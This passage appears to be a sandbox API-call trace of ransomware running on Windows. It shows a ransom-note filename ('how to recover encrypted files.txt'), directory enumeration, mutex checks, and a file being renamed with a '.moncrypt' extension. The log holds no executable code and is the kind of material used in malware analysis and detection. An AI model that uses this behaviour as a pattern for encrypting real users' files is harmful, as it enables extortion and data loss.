lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.509] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.pngr", lpUsedDefaultChar=0x0) returned 72 [0057.509] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\BabyGirl\\btn-back-static.pngr", lpUsedDefaultChar=0x0) returned 4 [0057.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 0x54e280 [0057.509] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.509] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.509] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.509] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png", dwFileAttributes=0x20) returned 0 [0057.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.518] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.moncrypt")) returned 0 [0057.519] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.519] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.519] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.519] GlobalUnlock (hMem=0x44000c) returned 0 [0057.519] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.519] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.519] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.519] GlobalUnlock (hMem=0x44000c) returned 0 [0057.519] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.519] GlobalUnlock (hMem=0x440004) returned 0 [0057.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43734200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43734200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.520] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.520] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.520] GlobalLock (hMem=0x440004) returned 0x550170 [0057.520] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.520] GlobalUnlock (hMem=0x440004) returned 0 [0057.520] GlobalLock (hMem=0x440004) returned 0x550170 [0057.520] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.520] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.520] GlobalUnlock (hMem=0x440004) returned 0 [0057.520] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.520] GlobalUnlock (hMem=0x44000c) returned 0 [0057.520] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.520] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43734200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43734200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.520] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.520] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.520] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.520] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.520] GlobalUnlock (hMem=0x44000c) returned 0 [0057.520] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.521] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.521] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.521] GlobalUnlock (hMem=0x44000c) returned 0 [0057.521] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.521] GlobalUnlock (hMem=0x440004) returned 0 [0057.521] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.521] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0057.521] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.521] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.521] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.521] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.521] GlobalUnlock (hMem=0x440004) returned 0 [0057.521] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.521] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.521] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.521] GlobalUnlock (hMem=0x440004) returned 0 [0057.521] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.521] GlobalUnlock (hMem=0x44000c) returned 0 [0057.521] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.521] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0057.521] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.521] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.521] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.521] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.521] GlobalUnlock (hMem=0x44000c) returned 0 [0057.521] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.521] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.521] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.522] GlobalUnlock (hMem=0x44000c) returned 0 [0057.522] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.522] GlobalUnlock (hMem=0x440004) returned 0 [0057.522] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.522] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0057.522] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.522] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.522] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.522] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.522] GlobalUnlock (hMem=0x440004) returned 0 [0057.522] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.522] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.522] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.522] GlobalUnlock (hMem=0x440004) returned 0 [0057.522] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.522] GlobalUnlock (hMem=0x44000c) returned 0 [0057.522] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.522] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0057.522] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.522] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.522] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.522] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.522] GlobalUnlock (hMem=0x44000c) returned 0 [0057.522] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.522] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.522] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.522] GlobalUnlock (hMem=0x44000c) returned 0 [0057.522] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.522] GlobalUnlock (hMem=0x440004) returned 0 [0057.523] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.523] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0057.523] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.523] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.523] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.523] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.523] GlobalUnlock (hMem=0x440004) returned 0 [0057.523] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.523] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.523] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.523] GlobalUnlock (hMem=0x440004) returned 0 [0057.523] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.523] GlobalUnlock (hMem=0x44000c) returned 0 [0057.523] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.523] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0057.523] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.523] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.523] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.523] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.523] GlobalUnlock (hMem=0x44000c) returned 0 [0057.523] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.523] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.523] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.523] GlobalUnlock (hMem=0x44000c) returned 0 [0057.523] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.523] GlobalUnlock (hMem=0x440004) returned 0 [0057.523] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.524] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0057.524] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.524] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.524] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.524] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.524] GlobalUnlock (hMem=0x440004) returned 0 [0057.524] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.524] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.524] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.524] GlobalUnlock (hMem=0x440004) returned 0 [0057.524] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.524] GlobalUnlock (hMem=0x44000c) returned 0 [0057.524] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.524] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0057.524] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.524] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.524] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.524] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.524] GlobalUnlock (hMem=0x44000c) returned 0 [0057.524] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.524] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.524] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.524] GlobalUnlock (hMem=0x44000c) returned 0 [0057.524] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.524] GlobalUnlock (hMem=0x440004) returned 0 [0057.524] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.524] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0057.524] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.525] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.525] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.525] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.525] GlobalUnlock (hMem=0x440004) returned 0 [0057.525] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.525] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.525] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.525] GlobalUnlock (hMem=0x440004) returned 0 [0057.525] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.525] GlobalUnlock (hMem=0x44000c) returned 0 [0057.525] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.525] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0057.525] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.525] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.525] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.525] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.525] GlobalUnlock (hMem=0x44000c) returned 0 [0057.525] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.525] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.525] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.525] GlobalUnlock (hMem=0x44000c) returned 0 [0057.525] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.525] GlobalUnlock (hMem=0x440004) returned 0 [0057.525] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.525] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0057.525] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.525] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.526] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.526] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.526] GlobalUnlock (hMem=0x440004) returned 0 [0057.526] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.526] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.526] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.526] GlobalUnlock (hMem=0x440004) returned 0 [0057.526] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.526] GlobalUnlock (hMem=0x44000c) returned 0 [0057.526] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.526] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0057.526] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.526] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.526] GlobalLock (hMem=0x44000c) 